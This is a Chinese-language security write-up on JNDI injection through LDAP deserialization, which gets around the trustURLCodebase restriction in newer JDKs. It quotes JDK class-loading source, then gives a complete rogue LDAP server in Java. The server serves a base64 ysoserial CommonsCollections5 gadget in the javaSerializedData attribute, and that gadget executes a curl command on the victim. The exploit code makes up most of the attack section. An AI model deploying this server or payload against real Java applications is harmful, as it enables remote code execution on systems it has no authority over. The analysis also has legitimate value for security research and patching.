JNDI-Injection-WITH-LDAP-Unserialize
前段時間FastJson的利用,最後使用了JNDI注入的方式 使得利用條件變得簡單。
從一開始的RMI到LDAP/">LDAP, 都是把一個ReferenceWrapper物件繫結到N/D服務上, 最終例項化CodeBase遠端程式碼庫的類實現RCE。
但是這種方法在高版本jdk中已經不再能夠使用, 由於TrustURLCodeBase的限制, 不再能夠載入遠端的程式碼庫。
最近看幾年前的BlackHat JNDI PPT時, 發現提到了除了ReferenceWrapper的另外幾種方法。 不過沒搜到EXP, 就自己看了下。
Reference的利用
N/D為LDAP
N/D服務返回Reference物件後, 服務端這邊decodeReference後
嘗試載入類。
static ObjectFactory getObjectFactoryFromReference( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null; // 嘗試在本地載入類。 try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // 如果從本地載入類失敗, 從遠端程式碼庫中獲取。 String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null) ? (ObjectFactory) clas.newInstance() : null; }
jdk1.7.0_80的 loadClass(String className, String codebase)
public Class loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }
直接使用URLClassLoader從遠端動態載入位元組碼, 然後返回。
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
然後例項化從遠端獲取到的類, 觸發類的構造方法, 實現RCE。
jdk 1.8.0_191 的loadClass(String className, String codebase)
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } }
如果trustURLCodebase為false的話, 直接返回null, 不再從遠端程式碼庫中動態載入位元組碼。
並且trustURLCodebase已經預設為false, 所以不能夠再使用這種方法。
LDAP 反序列
在decodeObject N/D返回的資料的時,
// 感覺idea decompile出來的變數有點錯, var1 var2有點混了。 static Object decodeObject(Attributes var0)throws NamingException { String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4])); // 獲取ldap設定的codebase屬性值, 這裡為null try { Attribute var1; // 如果var0中有JAVA_ATTRIBUTES[1], 則會進行deserializeObject, 並且獲取javaSerializedData屬性值賦給1 if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { ClassLoader var3 = helper.getURLClassLoader(var2); // 這個var2應該是var1。 return deserializeObject((byte[])((byte[])var1.get()), var3); } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) { return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2); } else { var1 = var0.get(JAVA_ATTRIBUTES[0]); return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2); } } catch (IOException var5) { NamingException var4 = new NamingException(); var4.setRootCause(var5); throw var4; } }
ClassLoadergetURLClassLoader(String[] var1)throws MalformedURLException { ClassLoader var2 = this.getContextClassLoader(); return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2); }
如果trustURLCodebase為false的話, 不從遠端程式碼庫動態載入位元組碼, 而是直接返回從javaSerializedData屬性中獲取的屬性值。 所以使用反序列不受trustURLCodebase的影響。
private static Object deserializeObject(byte[] var0, ClassLoader var1)throws NamingException { try { ByteArrayInputStream var2 = new ByteArrayInputStream(var0); try { Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1); Throwable var21 = null; Object var5; try { var5 = ((ObjectInputStream)var20).readObject(); // 反序列操作
所以在啟動ldap service的時候 只要設定了這個屬性, 就可以進行反序列操作。
LDAPServer.java 從marshalling.jar里扣出來的。
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ReadOnlySearchRequest; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import java.io.ObjectOutputStream; import java.io.PrintStream; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] agv) { int port = 1389; String args[] = {"http://localhost:8000/#Exploit"}; if ((args.length < 1) || (args[0].indexOf('#') < 0)) { System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); System.exit(-1); } else if (args.length > 1) { port = Integer.parseInt(args[1]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[] { "dc=example,dc=com" }); config.setListenerConfigs(new InMemoryListenerConfig[] { new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault()) }); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor(URL cb) { this.codebase = cb; } public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } // e.addAttribute("javaCodeBase", cbstring); // e.addAttribute("objectClass", "javaNamingReference"); // e.addAttribute("javaFactory", this.codebase.getRef()); try { e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAU3QAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAANXEAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAHmN1cmwgaHR0cDovL2xvY2FsaG9zdDo4MDAwL2FhYXQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=")); } catch (ParseException e1) { e1.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
啟動LDAP Service需要的jar包。
pom.xml
<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.8</version> <scope>compile</scope> </dependency>
base64是直接使用ysoserial隨便選擇的一個gadget生成的。
限制
其實用LDAP來反序列的意義不大, 畢竟JNDI注入很多時候也都是依靠反序列來實現控制傳入的uri的。
大概利用場景也就(雞肋)
1:非反序列的JNDI注入
2:反序列的時候有黑名單,常見的gadget用不了, 能用jndi的gadget.